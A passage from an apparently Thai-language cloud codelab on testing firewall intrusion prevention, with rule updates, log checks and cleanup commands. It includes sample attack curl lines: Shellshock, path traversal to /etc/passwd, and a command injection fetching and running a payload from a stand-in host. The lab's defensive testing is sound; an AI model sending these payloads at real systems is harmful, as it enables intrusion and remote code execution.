gcloud compute network-firewall-policies rules update 6000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg gcloud compute network-firewall-policies rules update 7000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
(ไม่บังคับ) อธิบายกฎไฟร์วอลล์เพื่อยืนยันว่าอัปเดตทั้ง 2 รายการเรียบร้อยแล้ว
gcloud compute network-firewall-policies rules describe 6000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
ผลลัพธ์ที่คาดหวัง
--- action: apply_security_profile_group description: allow ingress internal traffic from tagged clients direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: all srcIpRanges: - 10.0.0.0/24 priority: 800 ruleTupleCount: 4 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
กฎ 7000:
gcloud compute network-firewall-policies rules describe 7000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
ผลลัพธ์ที่คาดหวัง
--- action: apply_security_profile_group description: allow ingress external traffic to server direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: tcp ports: - '80' - ipProtocol: tcp ports: - '443' srcIpRanges: - [cloudnat-ip] priority: 900 ruleTupleCount: 6 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
เปลี่ยนกลับไปที่ VM ของไคลเอ็นต์และส่งตัวอย่างการโจมตีไปยัง IP ของเซิร์ฟเวอร์ภายในอีกครั้ง (การตรวจสอบ East-West / Intra-VPC)
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
ส่งตัวอย่างการโจมตีไปยัง IP ของเซิร์ฟเวอร์ภายนอกอีกครั้งผ่าน Cloud NAT (การตรวจสอบขาเข้าแบบเหนือ-ใต้)
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
เราไม่ได้รับการตอบกลับสําหรับการโจมตีครั้งแรกตามเอาต์พุตที่คาดไว้ด้านล่าง ซึ่งยืนยันว่าตอนนี้มีการบล็อกการโจมตีความรุนแรงสูงแล้ว
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
ไปที่ "ความปลอดภัยของเครือข่าย" > "ภัยคุกคาม" ใน Cloud Console เพื่อยืนยันบันทึก (คุณอาจต้องรีเฟรช 2-3 ครั้งหากการโจมตียังไม่แสดง)
เลือกการโจมตีรายการใดรายการหนึ่ง แล้วคลิก "ดูบันทึกการตรวจสอบ" ทางด้านขวา (เปิดในแท็บใหม่เพื่อให้สลับกลับได้ง่าย) ขยายการโจมตีเพื่อแสดงรายละเอียด
คุณอาจแทนที่ตัวกรองเครื่องมือสํารวจบันทึกด้วยข้อความค้นหาด้านล่างก็ได้
resource.type="networksecurity.googleapis.com/FirewallEndpoint"
รายการในบันทึกภัยคุกคามควรมีลักษณะดังต่อไปนี้
คุณสามารถยืนยันแพ็กเก็ตที่ Cloud Firewall ขัดขวางได้โดยใช้ตัวกรอง Logs Explorer ด้านล่าง (มีประโยชน์สำหรับการแก้ปัญหา)
jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"
ดำเนินการตรวจสอบการเข้าชมอินเทอร์เน็ตต่อ (ไม่บังคับ) หรือปิดเซสชัน SSH แล้วไปยังบทถัดไปเพื่อดูขั้นตอนการล้างข้อมูล
[ไม่บังคับ] การตรวจสอบการรับส่งข้อมูลทางอินเทอร์เน็ต
ตามที่ยืนยันในส่วนก่อนหน้านี้ โฟลว์ที่ตรวจสอบจนถึงตอนนี้คือโฟลว์ภายในซับเน็ต/VPC (ตะวันออก-ตะวันตก) และการรับส่งข้อมูลขาเข้าจากอินเทอร์เน็ต (เหนือ-ใต้ขาเข้า) นอกจากนี้ คุณยังกำหนดค่า Cloud NGFW Enterprise ให้ตรวจสอบการรับส่งข้อมูลทางอินเทอร์เน็ตทั้งหมด (ขาออกจาก North-South) ได้ด้วยการสร้างกฎขาออกใหม่โดยใช้ Cloud Shell โดยทำดังนี้
gcloud compute network-firewall-policies rules create 10000 \ --description "inspect all egress internet traffic from clients" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
กลับไปที่ VM ของไคลเอ็นต์และส่งการโจมตีความรุนแรงสูงไปยัง IP ของเซิร์ฟเวอร์ภายนอกอีกครั้ง โดยทำดังนี้
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
ผลลัพธ์ที่คาดหวัง
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received
เปลี่ยนไปที่แท็บภัยคุกคามในคอนโซลระบบคลาวด์เพื่อยืนยันบันทึก (คุณอาจต้องรีเฟรช 2-3 ครั้ง) ระบบควรระบุและบันทึกการโจมตีอีกครั้ง แต่ตอนนี้ IP ต้นทางเป็นภายในเนื่องจากมีการทริกเกอร์กฎขาออกก่อน
ปิดเซสชัน SSH แล้วไปยังส่วนถัดไปเพื่อดูขั้นตอนการล้างข้อมูล
8. ขั้นตอนการล้างข้อมูล
การล้างข้อมูลคอมโพเนนต์ NGFW Enterprise ในระบบคลาวด์
แสดงรายการการเชื่อมโยง Cloud NGFW Enterprise ที่มีอยู่
gcloud network-security firewall-endpoint-associations list
ลบการเชื่อมโยง Cloud NGFW Enterprise โดยทำดังนี้
gcloud network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list
รายการอุปกรณ์ปลายทาง Cloud NGFW Enterprise ที่มีอยู่
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
ลบอุปกรณ์ปลายทาง Cloud NGFW Enterprise ซึ่งอาจใช้เวลาประมาณ 20 นาที โดยทำดังนี้
gcloud -q network-security firewall-endpoints delete \ $org_prefix-$zone --zone=$zone --organization $org_id
ยืนยันว่าลบ Cloud NGFW Enterprise แล้วโดยเรียกใช้คําสั่งด้านล่าง
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
ลบกลุ่มโปรไฟล์ความปลอดภัยและโปรไฟล์การป้องกันภัยคุกคาม
gcloud -q network-security security-profile-groups delete \ $org_prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $org_prefix-sp-threat \ --organization $org_id \ --location=global
การล้างข้อมูลการตั้งค่าพื้นฐาน
ดำเนินการต่อในขั้นตอนถัดไปหากต้องการลบทรัพยากรพื้นฐาน
กำหนดตัวแปรสภาพแวดล้อม หากจำเป็น จาก Cloud Shell ให้ลบคอมโพเนนต์ Network Load Balancer ดังนี้
gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region gcloud -q compute backend-services delete $prefix-nlb-bes --region $region gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone
วิธีนําอินสแตนซ์ออก
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
คุณเลือกที่จะทำตามขั้นตอนด้านล่างหรือไม่ก็ได้หากมีการเปลี่ยนแปลงบทบาท tagAdmin และ tagUsers
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
นำคีย์และค่าของแท็กออก
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
ลบนโยบายเครือข่ายไฟร์วอลล์ในระบบคลาวด์และการเชื่อมโยง
gcloud -q compute network-firewall-policies associations delete \ --firewall-policy $prefix-fwpolicy \ --name $prefix-fwpolicy-association \ --global-firewall-policy gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
ลบ Cloud Router และ Cloud NAT
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
ลบที่อยู่ IP ที่สงวนไว้
gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
สุดท้าย ให้ลบซับเน็ตและเครือข่าย VPC โดยทำดังนี้
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
9. ยินดีด้วย
ยินดีด้วย คุณทำ Codelab ของ Cloud NGFW Enterprise สำหรับการตรวจสอบแบบตะวันออก-ตะวันตกและเหนือ-ใต้เสร็จเรียบร้อยแล้ว